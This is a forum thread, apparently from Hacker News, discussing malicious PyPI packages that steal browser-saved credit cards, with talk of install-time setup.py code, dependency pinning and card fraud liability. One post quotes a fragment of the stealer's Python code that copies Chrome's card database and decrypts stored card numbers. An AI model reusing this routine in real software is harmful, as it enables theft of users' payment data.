Malicious PyPI packages stealing credit cards and injecting code • Hacker News Board

Re: Malicious PyPI packages stealing credit cards and injecting code

#21

Post by chriswarbo » Tue, Aug 03, 2021, 1:35 PM UTC

tyingq wrote: post #7

geofft wrote: post #3

Anyone can upload anything to PyPI. This is kind of like saying that you detected malicious packages on GitHub - the question is whether anyone actually ran it. They say that the packages were downloaded 30,000 times, but automated processes like mirrors can easily inflate this. (As can people doing the exact sort of research they were doing - they themselves downloaded the files from PyPI!) Quoting PyPI maintainer D…

Doesn't installing a python package from PyPI (optionally) run some of the code in the package? Like "setup.py" ? I'd take advantage of that if I were injecting malicious code in a module.

Yep. In fact, I recently had to deal with this monstrosity https://pypi.org/project/awslambdaric whose setup.py invokes a shell script https://github.com/aws/aws-lambda-python-runtime-interface-c...

That shell script runs 'make && make install' on a couple of bundled dependencies, but in principle it could do anything https://github.com/aws/aws-lambda-python-runtime-interface-c...

Re: Malicious PyPI packages stealing credit cards and injecting code

#22

Post by prower » Tue, Aug 03, 2021, 1:36 PM UTC

jetrink wrote: post #14

legrande wrote: post #9

> The second payload of the noblesse family is an “Autocomplete” information stealer. All modern browsers support saving passwords and credit card information for the user: > Browser support for saving passwords and credit card information > This is very convenient, but the downside is that this information can be leaked by malicious software that got access to the local machine. I never store CC deets anywhere, not…

Credit cards are insecure by design and worrying about having them stolen from your browser or vault is not worth it in my opinion. You're far more likely to have it compromised from the retailer side no matter how careful you are. Also, it's easy to set up a notification on your phone for every time a card is used, so you can report fraud before any harm is done.

Some online banks (don't know how widespread this is) allow you to create "virtual card" that expire either after 1 purchase or at a specific date (and with a set maximum of budget). I use them for every single purchase I make online, it's inconvenient but at least i've never entered my real card info anywhere.

Re: Malicious PyPI packages stealing credit cards and injecting code

#23

Post by smallerfish » Tue, Aug 03, 2021, 1:40 PM UTC

```

def cs():

    master_key = master()

    login_db = os.environ['USERPROFILE'] + os.sep + \
        r'AppData\Local\Google\Chrome\User Data\default\Web Data'

    shutil.copy2(login_db, "CCvault.db")
    conn = sqlite3.connect("CCvault.db")
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT * FROM credit_cards")
        for r in cursor.fetchall():
            username = r[1]
            encrypted_password = r[4]
            decrypted_password = dpw(
                encrypted_password, master_key)
            expire_mon = r[2]
            expire_year = r[3]

```

Where does master_key come from here? Is chrome encryption of sensitive information really as weak as that?

Re: Malicious PyPI packages stealing credit cards and injecting code

#24

Post by zerkten » Tue, Aug 03, 2021, 1:40 PM UTC

ericpauley wrote: post #16

yardstick wrote: post #13

This is why our build systems don’t use public repositories directly, and why we always pin to an exact version. Any third party dependencies (js/python/java/c/you-name-it) are manually uploaded to our Artifactory server- which itself has no internet access. All third party libraries are periodically checked for new versions, any security announcements etc, and only if we are happy do we update the internal repo. It…

Out of curiosity, is it really necessary to have the separate artifact server? Pinning dependencies by hash ought to be sufficient.

It's going to depend on your circumstances. You don't share any context about your app or any of your development. Rather than looking at this from the perspective of needing an artifact server, you just look at it as a case of supply chain protection.

If pinning dependencies counters all the threats in your threat model, then fine. If not, you need to be doing something to counter them. An artifact server, or vendoring your dependencies, provides provides a lot of additional control where chokepoints or additional audits can be inserted.

If there was no management cost or hassle then you'd just have an artifact server to give you a free abstraction, but it's a trade-off for many people. It's also not a solution in itself, you need to be able to do audits and use the artifact server to your advantage.

The problem is really with the threat models and whether someone really knows what they need to defend against. I find that many engineers are naïve to the threats since they've never personally had exposure to an environment where these are made visible and countered. At other times, engineers are aware, but it's a problem of influencing management.

Re: Malicious PyPI packages stealing credit cards and injecting code

#25

Post by 83457 » Tue, Aug 03, 2021, 1:40 PM UTC

kawsper wrote: post #18

fortran77 wrote: post #17

Earlier quoted context omitted.

It's nice to have a build machine that can complete a build when it's disconnected from the Internet

How often does that happen?

Sometimes I use an air gapped test lab. Setup of certain software and projects is a real pain. Sounds like this approach could help.

Re: Malicious PyPI packages stealing credit cards and injecting code

#26

Post by brianwawok » Tue, Aug 03, 2021, 1:42 PM UTC

prower wrote: post #22

jetrink wrote: post #14

Earlier quoted context omitted.

Credit cards are insecure by design and worrying about having them stolen from your browser or vault is not worth it in my opinion. You're far more likely to have it compromised from the retailer side no matter how careful you are. Also, it's easy to set up a notification on your phone for every time a card is used, so you can report fraud before any harm is done.

Some online banks (don't know how widespread this is) allow you to create "virtual card" that expire either after 1 purchase or at a specific date (and with a set maximum of budget). I use them for every single purchase I make online, it's inconvenient but at least i've never entered my real card info anywhere.

That sounds like a lot of work. At least in the US you are not responsible for fraud. (I think the law may have like a $50 liability thing, but Visa/MC waive). So it's better to just not do this, and every 3-4 years when my CC is stolen, call them up - dispute the charges, get a new number. Takes For what it's worth, the 2 times my number got stolen in the last 6 years, one was from a rogue agent at a hotel in Chicago, and one was from a bad website that stored credit cards.

Re: Malicious PyPI packages stealing credit cards and injecting code

#27

Post by r3trohack3r » Tue, Aug 03, 2021, 1:42 PM UTC

DannyBee wrote: post #12

legrande wrote: post #9

> The second payload of the noblesse family is an “Autocomplete” information stealer. All modern browsers support saving passwords and credit card information for the user: > Browser support for saving passwords and credit card information > This is very convenient, but the downside is that this information can be leaked by malicious software that got access to the local machine. I never store CC deets anywhere, not…

In the US, CC has, by law, almost no liability for fraud - it's capped at 50 bucks, and is 0 bucks if you report it before it gets used. They are also easily replaced, so i think many wouldn't go as far as you are. Debit cards are weirder in their liability (and are extracting money from your bank account, which is harder to get back). If you report them lost/stolen before someone uses them, it's 0 bucks Within 2 day…

Hmm. I understood this to be different, but realizing now I don’t have sources for where I learned this:

* Bank accounts, savings accounts, brokerage accounts, etc. are all unlimited liability

* Lines of credit are all zero liability

I’ve used this as a rule of thumb for many years, and was the initial reason for me switching to 100% credit cards for transactions.

Re: Malicious PyPI packages stealing credit cards and injecting code

#28

Post by oauea » Tue, Aug 03, 2021, 1:42 PM UTC

kawsper wrote: post #18

fortran77 wrote: post #17

Earlier quoted context omitted.

It's nice to have a build machine that can complete a build when it's disconnected from the Internet

How often does that happen?

https://hn.algolia.com/?q=cloudflare+down

https://hn.algolia.com/?q=akamari+down

https://hn.algolia.com/?q=github+down

Re: Malicious PyPI packages stealing credit cards and injecting code

#29

Post by brianwawok » Tue, Aug 03, 2021, 1:42 PM UTC

DannyBee wrote: post #12

legrande wrote: post #9

> The second payload of the noblesse family is an “Autocomplete” information stealer. All modern browsers support saving passwords and credit card information for the user: > Browser support for saving passwords and credit card information > This is very convenient, but the downside is that this information can be leaked by malicious software that got access to the local machine. I never store CC deets anywhere, not…

In the US, CC has, by law, almost no liability for fraud - it's capped at 50 bucks, and is 0 bucks if you report it before it gets used. They are also easily replaced, so i think many wouldn't go as far as you are. Debit cards are weirder in their liability (and are extracting money from your bank account, which is harder to get back). If you report them lost/stolen before someone uses them, it's 0 bucks Within 2 day…

I would never ever use a debit card outside of the ATM of the bank I belong to.

Credit card? Go wild, use it everywhere.

Re: Malicious PyPI packages stealing credit cards and injecting code

#30

Post by williamdclt » Tue, Aug 03, 2021, 1:45 PM UTC

legrande wrote: post #9

> The second payload of the noblesse family is an “Autocomplete” information stealer. All modern browsers support saving passwords and credit card information for the user: > Browser support for saving passwords and credit card information > This is very convenient, but the downside is that this information can be leaked by malicious software that got access to the local machine. I never store CC deets anywhere, not…

I've been thinking I should probably just memorising my card number. Would take a bit of effort but can't be much harder than memorising a phone number, and possibly faster than entering my master password to unlock my password manager